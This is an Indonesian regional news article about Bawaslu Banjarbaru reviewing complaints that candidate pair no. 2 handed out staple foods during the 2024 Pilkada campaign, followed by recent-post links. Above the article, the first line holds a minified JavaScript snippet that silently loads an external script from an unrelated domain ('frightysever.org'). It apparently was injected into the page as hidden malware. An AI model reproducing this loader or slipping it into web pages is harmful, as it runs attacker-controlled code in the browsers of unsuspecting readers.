(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PEMILU 2024

Bawaslu Banjarbaru Kaji Laporan Dugaan Pelanggaran Bagi Sembako


KANALKALIMANTAN.COM, BANJARBARU – Badan Pengawas Pemilu (Bawaslu) Kota Banjarbaru menerima aduan masyarakat terkait dugaan pelanggaran kampanye Pilkada Serentak 2024 di Kota Banjarbaru.

Aduan di tujukan kepada pasangan calon (Paslon) nomor urut 2 yakni Aditya Mufti Ariffin dan Said Abdullah. 

Komisioner Bawaslu Banjarbaru Divisi Hukum, Pencegahan, Partisipasi Masyarakat dan Hubungan Masyarakat, Bahrani mengatakan, pelapor datang meregister aduan dengan nomor 003 beberapa waktu lalu.

“Aduan nomor 003 berkenaan dengan dugaan pembagian sembako,” ujar Bahrani, Rabu (9/10/2024) petang.

Baca juga: Jadi Tersangka Belum Ditahan, Paman Birin Dicegah ke Luar Negeri

“Kemudian ada lagi nomor 002 berkenaan dengan adanya dugaan pelanggaran kampanye di media sosial dengan istilah mereka menyebutkan black campaign atau adanya aktifitas fitnah,” jelas dia.

Dalam aduan itu, pelapor menyebutkan bahwa paslon nomor urut 2 diduga melakukan pelanggaran pembagian sembako saat kampanye berlangsung di Kelurahan Guntung Manggis, Landasan Ulin pada 30 September 2024.

Bahrani menjelaskan hingga saat ini penanganan aduan tersebut masih berproses. Dalam proses penanganan pelanggaran itu pihaknya melakukan klarifikasi baik terhadap pelapor, saksi maupun terlapor, dan pihak lain yang perlu dimintai keterangannya

Kemudian pada Rabu (9/10/2024) sore, kata dia, Calon Wakil Wali Kota Banjarbaru Said Abdullah diminta datang ke kantor Bawaslu Kota Banjarbaru untuk memberikan klarifikasi.

Baca juga: Dilaporkan Bagi Sembako saat Kampanye, Said Abdullah Klarifikasi ke Bawaslu Banjarbaru

“Sementara nomor register 003 kita panggil paslon nomor urut 2 Said Abdullah, selebihnya itu masih kita kaji terlebih dahulu siapa yang perlu kita panggil, karena semua sudah klarifikasi, dan memang ada beberapa hal lagi yang perlu kita gali dan ini yang masih kita susun,” ujarnya.

Hasil klarifikasi ini dimuat menjadi sebuah informasi awal yang kemudian akan pihaknya susun, pihaknya kaji dan disimpulkan apakah memang masuk sebagai pelanggaran atau tidak. “Kesimpulannya akan kita umumkan melalui press rilis setelah semua kajian selesai jadi kelengkapan informasi harus disampaikan secara utuh bukan hanya sebagian,” tandas Bahrani

Adapun proses penanganan aduan laporan ini kata dia akan berjalan tiga plus dua hari semenjak laporan itu diregister. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.